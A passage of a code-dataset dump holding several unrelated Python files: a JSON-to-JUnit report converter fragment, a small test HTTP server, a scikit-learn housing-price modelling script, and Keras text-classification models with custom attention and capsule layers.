encoding=\"UTF-8\"?>')\n report.write('<testsuite errors=\"{errors}\" failures=\"{failures}\" name=\"{name}\" skipped=\"{skipped}\" tests=\"{tests}\" time=\"{time}\">'.format(errors=0, failures=failures, name=feature['name'], skipped=skipped, tests=len(scenarios), time=time))\n for scenario in scenarios:\n report.write(convert_scenario(scenario).format(classname=feature['name']))\n report.write('</testsuite>')\n report.close()\n\n\nreport = codecs.open('../reports/report.json', 'r', 'utf-8').read()\ntry:\n results = json.loads(report)\nexcept:\n print('Error parsing JSON report')\n os._exit(1)\nfor feature in results:\n write_report(feature)\n","sub_path":"tests/system/json2junit.py","file_name":"json2junit.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"213385684","text":"import http.server\nimport socketserver\n\nclass ReqHandler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.end_headers()\n\n f = open(\"report2.html\", \"r\")\n str_lst = f.readlines()\n f.close()\n\n for lin in str_lst:\n self.wfile.write(bytes(lin, 'utf-16'))\n\n for lin in str_lst:\n self.wfile.write(bytes(\"/*EOF*/\", 'utf-16'))\n\n\nif __name__ == \"__main__\":\n PORT = 8182\n with socketserver.TCPServer((\"\", PORT), ReqHandler) as http_daemon:\n print(\"serving at port\", PORT)\n try:\n http_daemon.serve_forever()\n\n except KeyboardInterrupt:\n http_daemon.server_close()\n\n","sub_path":"lui_testing/py3_pyside2_n_dui2/http_tst/http_test_08/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"253900128","text":"# To support both python 2 and python 3\nfrom __future__ import division, print_function, unicode_literals\n\n# Common imports\nimport numpy as np\nimport os\n\n# to make this notebook's output stable across runs\nnp.random.seed(42)\n\n# To plot pretty figures\nimport matplotlib\nimport matplotlib.pyplot as plt\nplt.rcParams['axes.labelsize'] = 14\nplt.rcParams['xtick.labelsize'] = 12\nplt.rcParams['ytick.labelsize'] = 12\n\n# Where to save the figures\nPROJECT_ROOT_DIR = \".\"\nCHAPTER_ID = \"end_to_end_project\"\nIMAGES_PATH = os.path.join(PROJECT_ROOT_DIR, \"images\", CHAPTER_ID)\n\ndef save_fig(fig_id, tight_layout=True, fig_extension=\"png\", resolution=300):\n path = os.path.join(IMAGES_PATH, fig_id + \".\" + fig_extension)\n print(\"Saving figure\", fig_id)\n if tight_layout:\n plt.tight_layout()\n plt.savefig(path, format=fig_extension, dpi=resolution)\n\n# Ignore useless warnings (see SciPy issue #5998)\nimport warnings\nwarnings.filterwarnings(action=\"ignore\", message=\"^internal gelsd\")\n\n'''\n Get DATA\n'''\n\nimport os\nimport tarfile\nfrom six.moves import urllib\n\nDOWNLOAD_ROOT = \"https://raw.githubusercontent.com/ageron/handson-ml/master/\"\nHOUSING_PATH = os.path.join(\"datasets\", \"housing\")\nHOUSING_URL = DOWNLOAD_ROOT + \"datasets/housing/housing.tgz\"\n\ndef fetch_housing_data(housing_url=HOUSING_URL, housing_path=HOUSING_PATH):\n if not os.path.isdir(housing_path):\n os.makedirs(housing_path)\n tgz_path = os.path.join(housing_path, \"housing.tgz\")\n urllib.request.urlretrieve(housing_url, tgz_path)\n housing_tgz = tarfile.open(tgz_path)\n housing_tgz.extractall(path=housing_path)\n housing_tgz.close()\n\nfetch_housing_data()\n\n\"\"\"\n READ DATA\n\"\"\"\n\nimport pandas as pd\n\ndef load_housing_data(housing_path=HOUSING_PATH):\n csv_path = os.path.join(housing_path, \"housing.csv\")\n return pd.read_csv(csv_path)\n\n\nhousing = load_housing_data()\nprint(housing.info())\n\n\"\"\"\n Show attributes\n\"\"\"\n\nimport matplotlib.pyplot as plt\nhousing.hist(bins=50, figsize=(20,15))\n# plt.show()\n\n\n\"\"\"\n Split data to test set\n\"\"\"\n\nimport numpy as np\n\n# For illustration only. Sklearn has train_test_split()\ndef split_train_test(data, test_ratio):\n shuffled_indices = np.random.permutation(len(data))\n test_set_size = int(len(data) * test_ratio)\n test_indices = shuffled_indices[:test_set_size]\n train_indices = shuffled_indices[test_set_size:]\n return data.iloc[train_indices], data.iloc[test_indices]\n\n\ntrain_set , test_set = split_train_test(housing, 0.2)\nprint(len(train_set), \"train +\", len(test_set), \"test\")\n\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nhousing[\"income_cat\"] = np.ceil(housing[\"median_income\"] / 1.5)\n# Label those above 5 as 5\nhousing[\"income_cat\"].where(housing[\"income_cat\"] < 5, 5.0, inplace=True)\n\nsplit = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\nfor train_index, test_index in split.split(housing, housing[\"income_cat\"]):\n strat_train_set = housing.loc[train_index]\n strat_test_set = housing.loc[test_index]\n\n\n\"\"\"\n Discover and visualize the data to gain insights\n\"\"\"\n\nhousing = strat_train_set.copy()\nhousing.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\")\n# plt.show()\n\n\n\"\"\"\n Prepare the data for Machine Learning algorithms\n\"\"\"\n\nhousing = strat_train_set.drop(\"median_house_value\", axis=1) # drop labels for training set\nhousing_labels = strat_train_set[\"median_house_value\"].copy()\nsample_incomplete_rows = housing[housing.isnull().any(axis=1)].head()\n# drop null data\nsample_incomplete_rows.dropna(subset=[\"total_bedrooms\"]) # option 1\n\n\nfrom sklearn.preprocessing import Imputer\n\nimputer = Imputer(strategy=\"median\")\n\nhousing_num = housing.drop('ocean_proximity', axis=1)\n\nimputer.fit(housing_num)\nX = imputer.transform(housing_num)\n\n\n\n\"\"\"\n One hot encoding for enums\n\"\"\"\n\nhousing_cat = housing[['ocean_proximity']]\nprint(housing_cat.head(10))\n\nfrom sklearn.preprocessing import LabelBinarizer\nencoder = LabelBinarizer()\nhousing_cat_1hot = encoder.fit_transform(housing_cat)\nprint(housing_cat_1hot)\n\n\n\n\"\"\"\n Custom Transformer\n\"\"\"\n\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\n# column index\nrooms_ix, bedrooms_ix, population_ix, household_ix = 3, 4, 5, 6\n\nclass CombinedAttributesAdder(BaseEstimator, TransformerMixin):\n def __init__(self, add_bedrooms_per_room = True): # no *args or **kargs\n self.add_bedrooms_per_room = add_bedrooms_per_room\n def fit(self, X, y=None):\n return self # nothing else to do\n def transform(self, X, y=None):\n rooms_per_household = X[:, rooms_ix] / X[:, household_ix]\n population_per_household = X[:, population_ix] / X[:, household_ix]\n if self.add_bedrooms_per_room:\n bedrooms_per_room = X[:, bedrooms_ix] / X[:, rooms_ix]\n return np.c_[X, rooms_per_household, population_per_household,\n bedrooms_per_room]\n else:\n return np.c_[X, rooms_per_household, population_per_household]\n\nattr_adder = CombinedAttributesAdder(add_bedrooms_per_room=False)\nhousing_extra_attribs = attr_adder.transform(housing.values)\n\n\n\"\"\"\n Scalling data, pipeline\n\"\"\"\n\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\n\nnum_pipeline = Pipeline([\n ('imputer', Imputer(strategy=\"median\")),\n ('attribs_adder', CombinedAttributesAdder()),\n ('std_scaler', StandardScaler()),\n ])\n\nhousing_num_tr = num_pipeline.fit_transform(housing_num)\n\n\nfrom future_encoders import ColumnTransformer, OneHotEncoder\nnum_attribs = list(housing_num)\ncat_attribs = [\"ocean_proximity\"]\n\nfull_pipeline = ColumnTransformer([\n (\"num\", num_pipeline, num_attribs),\n (\"cat\", OneHotEncoder(), cat_attribs),\n ])\n\nhousing_prepared = full_pipeline.fit_transform(housing)\n\n\n\"\"\"\n Select and train a model\n\"\"\"\n\n\nfrom sklearn.linear_model import LinearRegression\n\nlin_reg = LinearRegression()\nlin_reg.fit(housing_prepared, housing_labels)\n\n\"\"\"check data\"\"\"\n\nsome_data = housing.iloc[:5]\nsome_labels = housing_labels.iloc[:5]\nsome_data_prepared = full_pipeline.transform(some_data)\nprint(\"Predictions:\\t\", lin_reg.predict(some_data_prepared))\nprint(\"Labels:\\t\\t\", list(some_labels))\n\n\n\"\"\"\n Calculate RMSE & MAE\n\"\"\"\n\n\nfrom sklearn.metrics import mean_squared_error\n\nhousing_predictions = lin_reg.predict(housing_prepared)\nlin_mse = mean_squared_error(housing_labels, housing_predictions)\nlin_rmse = np.sqrt(lin_mse)\n\nprint(\"RMSE \", lin_rmse)\n\nfrom sklearn.metrics import mean_absolute_error\n\nlin_mae = mean_absolute_error(housing_labels, housing_predictions)\nprint(\"MAE \", lin_mae)\n\n#\n# \"\"\"\n# More complex model\n# \"\"\"\n#\n#\n# from sklearn.tree import DecisionTreeRegressor\n# tree_reg = DecisionTreeRegressor()\n# tree_reg.fit(housing_prepared, housing_labels)\n# housing_predictions = tree_reg.predict(housing_prepared)\n# tree_mse = mean_squared_error(housing_labels, housing_predictions)\n# tree_rmse = np.sqrt(tree_mse)\n#\n# print(\"Tree RMSE\", tree_rmse) # 0.0 = overfitting\n#\n#\n# \"\"\"\n# Cross-validation\n# \"\"\"\n#\n# from sklearn.model_selection import cross_val_score\n#\n# scores = cross_val_score(tree_reg, housing_prepared, housing_labels,\n# scoring=\"neg_mean_squared_error\", cv=10)\n# tree_rmse_scores = np.sqrt(-scores)\n#\n#\n# def display_scores(scores):\n# print(\"Scores:\", scores)\n# print(\"Mean:\", scores.mean())\n# print(\"Standard deviation:\", scores.std())\n#\n# display_scores(tree_rmse_scores)\n#\n# lin_scores = cross_val_score(lin_reg, housing_prepared, housing_labels,\n# scoring=\"neg_mean_squared_error\", cv=10)\n# lin_rmse_scores = np.sqrt(-lin_scores)\n# display_scores(lin_rmse_scores)\n#\n#\n# \"\"\"\n# Random Forest Regressor\n# \"\"\"\n#\nfrom sklearn.ensemble import RandomForestRegressor\n#\n# forest_reg = RandomForestRegressor(random_state=42)\n# forest_reg.fit(housing_prepared, housing_labels)\n#\n# housing_predictions = forest_reg.predict(housing_prepared)\n# forest_mse = mean_squared_error(housing_labels, housing_predictions)\n# forest_rmse = np.sqrt(forest_mse)\n#\n# print(\"Forest RMSE\", forest_rmse)\n#\n# from sklearn.model_selection import cross_val_score\n#\n# forest_scores = cross_val_score(forest_reg, housing_prepared, housing_labels,\n# scoring=\"neg_mean_squared_error\", cv=10)\n# forest_rmse_scores = np.sqrt(-forest_scores)\n# display_scores(forest_rmse_scores)\n#\n#\n# \"\"\"\n# Support Vector Machine\n# \"\"\"\n#\n# from sklearn.svm import SVR\n#\n# svm_reg = SVR(kernel=\"linear\")\n# svm_reg.fit(housing_prepared, housing_labels)\n# housing_predictions = svm_reg.predict(housing_prepared)\n# svm_mse = mean_squared_error(housing_labels, housing_predictions)\n# svm_rmse = np.sqrt(svm_mse)\n#\n# print(\"SVR RMSE\", svm_rmse)\n#\n#\n\"\"\"\n Grid Search\n\"\"\"\n\nfrom sklearn.model_selection import GridSearchCV\n\nparam_grid = [\n {'n_estimators': [3, 10, 30], 'max_features': [2, 4, 6, 8]},\n {'bootstrap': [False], 'n_estimators': [3, 10], 'max_features': [2, 3, 4]},\n ]\n\nforest_reg = RandomForestRegressor(random_state=42)\n# train across 5 folds, that's a total of (12+6)*5=90 rounds of training\ngrid_search = GridSearchCV(forest_reg, param_grid, cv=5,\n scoring='neg_mean_squared_error', return_train_score=True)\ngrid_search.fit(housing_prepared, housing_labels)\n\ncvres = grid_search.cv_results_\nfor mean_score, params in zip(cvres[\"mean_test_score\"], cvres[\"params\"]):\n print(np.sqrt(-mean_score), params)\n\nprint(grid_search.best_params_)\nprint(grid_search.best_estimator_)","sub_path":"handsom_ml/housing.py","file_name":"housing.py","file_ext":"py","file_size_in_byte":9494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"612954397","text":"# coding: utf-8\nimport os\nimport re\nimport sys \nimport pandas as pd\nimport numpy as np\n\nimport gensim\nfrom gensim.models import Word2Vec\nfrom gensim.models.word2vec import LineSentence\n\nimport tensorflow as tf\n\nimport keras\nfrom keras.layers import *\nfrom keras.models import *\nfrom keras.optimizers import *\nfrom keras.callbacks import *\nfrom keras.preprocessing import text, sequence\nfrom keras.utils import to_categorical\nfrom sklearn.preprocessing import LabelEncoder\nfrom keras.utils import np_utils\nimport matplotlib.pyplot as plt\nfrom keras.utils.training_utils import multi_gpu_model\n\nfrom sklearn.cross_validation import train_test_split\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import LabelEncoder\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsession = tf.Session(config=config)\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport os\nimport gc\nimport random\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\n\nfrom keras.engine.topology import Layer\n\nclass Attention(Layer):\n def __init__(self, step_dim,\n W_regularizer=None, b_regularizer=None,\n W_constraint=None, b_constraint=None,\n bias=True, **kwargs):\n \"\"\"\n Keras Layer that implements an Attention mechanism for temporal data.\n Supports Masking.\n Follows the work of Raffel et al. [https://arxiv.org/abs/1512.08756]\n # Input shape\n 3D tensor with shape: `(samples, steps, features)`.\n # Output shape\n 2D tensor with shape: `(samples, features)`.\n :param kwargs:\n Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with return_sequences=True.\n The dimensions are inferred based on the output shape of the RNN.\n Example:\n model.add(LSTM(64, return_sequences=True))\n model.add(Attention())\n \"\"\"\n self.supports_masking = True\n #self.init = initializations.get('glorot_uniform')\n self.init = initializers.get('glorot_uniform')\n\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n\n self.bias = bias\n self.step_dim = step_dim\n self.features_dim = 0\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n\n self.W = self.add_weight((input_shape[-1],),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n self.features_dim = input_shape[-1]\n\n if self.bias:\n self.b = self.add_weight((input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n else:\n self.b = None\n\n self.built = True\n\n def compute_mask(self, input, input_mask=None):\n # do not pass the mask to the next layers\n return None\n\n def call(self, x, mask=None):\n # eij = K.dot(x, self.W) TF backend doesn't support it\n\n # features_dim = self.W.shape[0]\n # step_dim = x._keras_shape[1]\n\n features_dim = self.features_dim\n step_dim = self.step_dim\n\n eij = K.reshape(K.dot(K.reshape(x, (-1, features_dim)), K.reshape(self.W, (features_dim, 1))), (-1, step_dim))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n # apply mask after the exp. will be re-normalized next\n if mask is not None:\n # Cast the mask to floatX to avoid float64 upcasting in theano\n a *= K.cast(mask, K.floatx())\n\n # in some cases especially in the early stages of training the sum may be almost zero\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n\n a = K.expand_dims(a)\n weighted_input = x * a\n #print weigthted_input.shape\n return K.sum(weighted_input, axis=1)\n\n def compute_output_shape(self, input_shape):\n #return input_shape[0], input_shape[-1]\n return input_shape[0], self.features_dim\n \ngru_len = 128\nRoutings = 5\nNum_capsule = 10\nDim_capsule = 16\ndropout_p = 0.25\nrate_drop_dense = 0.28\n\ndef squash(x, axis=-1):\n s_squared_norm = K.sum(K.square(x), axis, keepdims=True)\n scale = K.sqrt(s_squared_norm + K.epsilon())\n return x / scale\n\n\n# A Capsule Implement with Pure Keras\nclass Capsule(Layer):\n def __init__(self, num_capsule, dim_capsule, routings=3, kernel_size=(9, 1), share_weights=True,\n activation='default', **kwargs):\n super(Capsule, self).__init__(**kwargs)\n self.num_capsule = num_capsule\n self.dim_capsule = dim_capsule\n self.routings = routings\n self.kernel_size = kernel_size\n self.share_weights = share_weights\n if activation == 'default':\n self.activation = squash\n else:\n self.activation = Activation(activation)\n\n def build(self, input_shape):\n super(Capsule, self).build(input_shape)\n input_dim_capsule = input_shape[-1]\n if self.share_weights:\n self.W = self.add_weight(name='capsule_kernel',\n shape=(1, input_dim_capsule,\n self.num_capsule * self.dim_capsule),\n # shape=self.kernel_size,\n initializer='glorot_uniform',\n trainable=True)\n else:\n input_num_capsule = input_shape[-2]\n self.W = self.add_weight(name='capsule_kernel',\n shape=(input_num_capsule,\n input_dim_capsule,\n self.num_capsule * self.dim_capsule),\n initializer='glorot_uniform',\n trainable=True)\n\n def call(self, u_vecs):\n if self.share_weights:\n u_hat_vecs = K.conv1d(u_vecs, self.W)\n else:\n u_hat_vecs = K.local_conv1d(u_vecs, self.W, [1], [1])\n\n batch_size = K.shape(u_vecs)[0]\n input_num_capsule = K.shape(u_vecs)[1]\n u_hat_vecs = K.reshape(u_hat_vecs, (batch_size, input_num_capsule,\n self.num_capsule, self.dim_capsule))\n u_hat_vecs = K.permute_dimensions(u_hat_vecs, (0, 2, 1, 3))\n # final u_hat_vecs.shape = [None, num_capsule, input_num_capsule, dim_capsule]\n\n b = K.zeros_like(u_hat_vecs[:, :, :, 0]) # shape = [None, num_capsule, input_num_capsule]\n for i in range(self.routings):\n b = K.permute_dimensions(b, (0, 2, 1)) # shape = [None, input_num_capsule, num_capsule]\n c = K.softmax(b)\n c = K.permute_dimensions(c, (0, 2, 1))\n b = K.permute_dimensions(b, (0, 2, 1))\n outputs = self.activation(K.batch_dot(c, u_hat_vecs, [2, 2]))\n if i < self.routings - 1:\n b = K.batch_dot(outputs, u_hat_vecs, [2, 3])\n\n return outputs\n\n def compute_output_shape(self, input_shape):\n return (None, self.num_capsule, self.dim_capsule)\n\n\ndef get_text_capsule(sent_length, embeddings_weight):\n print (\"get_text_capsule\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n embed = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNGRU(128, return_sequences = True))(embed)\n capsule = Capsule(num_capsule=Num_capsule, dim_capsule=Dim_capsule, routings=Routings,share_weights=True)(x)\n capsule = Flatten()(capsule)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)( capsule))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\ndef get_text_lstm3(sent_length, embeddings_weight):\n print (\"get_text_lstm3\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n x = Dropout(0.2)(Bidirectional(CuDNNLSTM(200, return_sequences=True))(embed))\n x = Conv1D(64, kernel_size=3, padding='valid', kernel_initializer='glorot_uniform')(x)\n\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n x = concatenate([avg_pool, max_pool])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n \n \nclass AttentionWeightedAverage(Layer):\n \"\"\"\n Computes a weighted average of the different channels across timesteps.\n Uses 1 parameter pr. channel to compute the attention value for a single timestep.\n \"\"\"\n\n def __init__(self, return_attention=False, **kwargs):\n self.init = initializers.get('uniform')\n self.supports_masking = True\n self.return_attention = return_attention\n super(AttentionWeightedAverage, self).__init__(** kwargs)\n\n def build(self, input_shape):\n self.input_spec = [InputSpec(ndim=3)]\n assert len(input_shape) == 3\n\n self.W = self.add_weight(shape=(input_shape[2], 1),\n name='{}_W'.format(self.name),\n initializer=self.init)\n self.trainable_weights = [self.W]\n super(AttentionWeightedAverage, self).build(input_shape)\n\n def call(self, x, mask=None):\n # computes a probability distribution over the timesteps\n # uses 'max trick' for numerical stability\n # reshape is done to avoid issue with Tensorflow\n # and 1-dimensional weights\n logits = K.dot(x, self.W)\n x_shape = K.shape(x)\n logits = K.reshape(logits, (x_shape[0], x_shape[1]))\n ai = K.exp(logits - K.max(logits, axis=-1, keepdims=True))\n\n # masked timesteps have zero weight\n if mask is not None:\n mask = K.cast(mask, K.floatx())\n ai = ai * mask\n att_weights = ai / (K.sum(ai, axis=1, keepdims=True) + K.epsilon())\n weighted_input = x * K.expand_dims(att_weights)\n result = K.sum(weighted_input, axis=1)\n if self.return_attention:\n return [result, att_weights]\n return result\n\n def get_output_shape_for(self, input_shape):\n return self.compute_output_shape(input_shape)\n\n def compute_output_shape(self, input_shape):\n output_len = input_shape[2]\n if self.return_attention:\n return [(input_shape[0], output_len), (input_shape[0], input_shape[1])]\n return (input_shape[0], output_len)\n\n def compute_mask(self, input, input_mask=None):\n if isinstance(input_mask, list):\n return [None] * len(input_mask)\n else:\n return None\n\n\nclass KMaxPooling(Layer):\n \"\"\"\n K-max pooling layer that extracts the k-highest activations from a sequence (2nd dimension).\n TensorFlow backend.\n \"\"\"\n\n def __init__(self, k=1, **kwargs):\n super().__init__(**kwargs)\n self.input_spec = InputSpec(ndim=3)\n self.k = k\n\n def compute_output_shape(self, input_shape):\n return (input_shape[0], (input_shape[2] * self.k))\n\n def call(self, inputs):\n # swap last two dimensions since top_k will be applied along the last dimension\n shifted_input = tf.transpose(inputs, [0, 2, 1])\n\n # extract top_k, returns two tensors [values, indices]\n top_k = tf.nn.top_k(shifted_input, k=self.k, sorted=True, name=None)[0]\n\n # return flattened output\n return Flatten()(top_k)\n \ndef get_text_rcnn4(sent_length, embeddings_weight):\n print (\"get_text_rcnn4\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n\n rnn_1 = Bidirectional(CuDNNGRU(128, return_sequences=True))(embed)\n conv_2 = Conv1D(128, 2, kernel_initializer=\"normal\", padding=\"valid\", activation=\"relu\", strides=1)(rnn_1)\n \n maxpool = GlobalMaxPooling1D()(conv_2)\n attn = AttentionWeightedAverage()(conv_2)\n average = GlobalAveragePooling1D()(conv_2)\n\n x = concatenate([maxpool, attn, average])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\ndef get_text_rcnn5(sent_length, embeddings_weight):\n print (\"get_text_rcnn5\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n\n rnn_1 = Bidirectional(CuDNNGRU(200, return_sequences=True))(embed)\n rnn_2 = Bidirectional(CuDNNGRU(200, return_sequences=True))(rnn_1)\n x = concatenate([rnn_1, rnn_2], axis=2)\n\n last = Lambda(lambda t: t[:, -1], name='last')(x)\n maxpool = GlobalMaxPooling1D()(x)\n attn = AttentionWeightedAverage()(x)\n average = GlobalAveragePooling1D()(x)\n\n x= concatenate([last, maxpool, average, attn])\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n \ndef get_text_gru5(sent_length, embeddings_weight):\n print (\"get_text_gru5\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n \n embed = SpatialDropout1D(0.2)(embedding(content))\n \n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(embed)\n x = Dropout(0.35)(x)\n x = Bidirectional(CuDNNGRU(200, return_sequences=True))(x)\n\n last = Lambda(lambda t: t[:, -1])(x)\n maxpool = GlobalMaxPooling1D()(x)\n average = GlobalAveragePooling1D()(x)\n x = concatenate([last, maxpool, average])\n\n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(x))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n \ndef get_text_cnn1(sent_length, embeddings_weight):\n print (\"get_text_cnn1\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n embed = embedding(content)\n\n embed = SpatialDropout1D(0.2)(embed)\n \n conv2 = Activation('relu')(BatchNormalization()(Conv1D(128, 2, padding='same')(embed)))\n conv2 = Activation('relu')(BatchNormalization()(Conv1D(64, 2, padding='same')(conv2)))\n conv2 = MaxPool1D(pool_size=50)(conv2)\n\n conv3 = Activation('relu')(BatchNormalization()(Conv1D(128, 3, padding='same')(embed)))\n conv3 = Activation('relu')(BatchNormalization()(Conv1D(64, 3, padding='same')(conv3)))\n conv3 = MaxPool1D(pool_size=50)(conv3)\n \n conv4 = Activation('relu')(BatchNormalization()(Conv1D(128, 4, padding='same')(embed)))\n conv4 = Activation('relu')(BatchNormalization()(Conv1D(64, 4, padding='same')(conv4)))\n conv4 = MaxPool1D(pool_size=50)(conv4)\n\n conv5 = Activation('relu')(BatchNormalization()(Conv1D(128, 5, padding='same')(embed)))\n conv5 = Activation('relu')(BatchNormalization()(Conv1D(64, 5, padding='same')(conv5)))\n conv5 = MaxPool1D(pool_size=50)(conv5)\n \n cnn = concatenate([conv2, conv3, conv4, conv5], axis=-1)\n flat = Flatten()(cnn)\n\n drop = Dropout(0.2)(flat)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(drop))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[35]:\n\ndef get_text_cnn2(sent_length, embeddings_weight):\n print (\"get_text_cnn2\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0], \n weights=[embeddings_weight], \n output_dim=embeddings_weight.shape[1], \n trainable=False)\n embed = embedding(content)\n filter_sizes = [1,2,3,4]\n num_filters = 128\n embed_size = embeddings_weight.shape[1]\n\n x = SpatialDropout1D(0.2)(embed)\n x = Reshape((sent_length, embed_size, 1))(x)\n \n conv_0 = Conv2D(num_filters, kernel_size=(filter_sizes[0], embed_size), kernel_initializer='normal',\n activation='elu')(x)\n conv_1 = Conv2D(num_filters, kernel_size=(filter_sizes[1], embed_size), kernel_initializer='normal',\n activation='elu')(x)\n conv_2 = Conv2D(num_filters, kernel_size=(filter_sizes[2], embed_size), kernel_initializer='normal',\n activation='elu')(x)\n conv_3 = Conv2D(num_filters, kernel_size=(filter_sizes[3], embed_size), kernel_initializer='normal',\n activation='elu')(x)\n \n maxpool_0 = MaxPool2D(pool_size=(sent_length - filter_sizes[0] + 1, 1))(conv_0)\n maxpool_1 = MaxPool2D(pool_size=(sent_length - filter_sizes[1] + 1, 1))(conv_1)\n maxpool_2 = MaxPool2D(pool_size=(sent_length - filter_sizes[2] + 1, 1))(conv_2)\n maxpool_3 = MaxPool2D(pool_size=(sent_length - filter_sizes[3] + 1, 1))(conv_3)\n \n z = Concatenate(axis=1)([maxpool_0, maxpool_1, maxpool_2, maxpool_3]) \n z = Flatten()(z)\n z = Dropout(0.1)(z)\n \n x = Dropout(0.2)(Activation(activation=\"relu\")(BatchNormalization()(Dense(1000)(z))))\n x = Activation(activation=\"relu\")(BatchNormalization()(Dense(500)(x)))\n output = Dense(372, activation=\"softmax\")(x)\n \n model = Model(inputs=content, outputs=output)\n model = multi_gpu_model(model, 2)\n model.compile(loss='categorical_crossentropy', optimizer='adam' , metrics=['accuracy'])\n return model\n\n\n# In[36]:\n\ndef get_text_cnn3(sent_length, embeddings_weight):\n print (\"get_text_cnn3\")\n content = Input(shape=(sent_length,), dtype='int32')\n embedding = Embedding(\n name=\"word_embedding\",\n input_dim=embeddings_weight.shape[0],\n weights=[embeddings_weight],\n 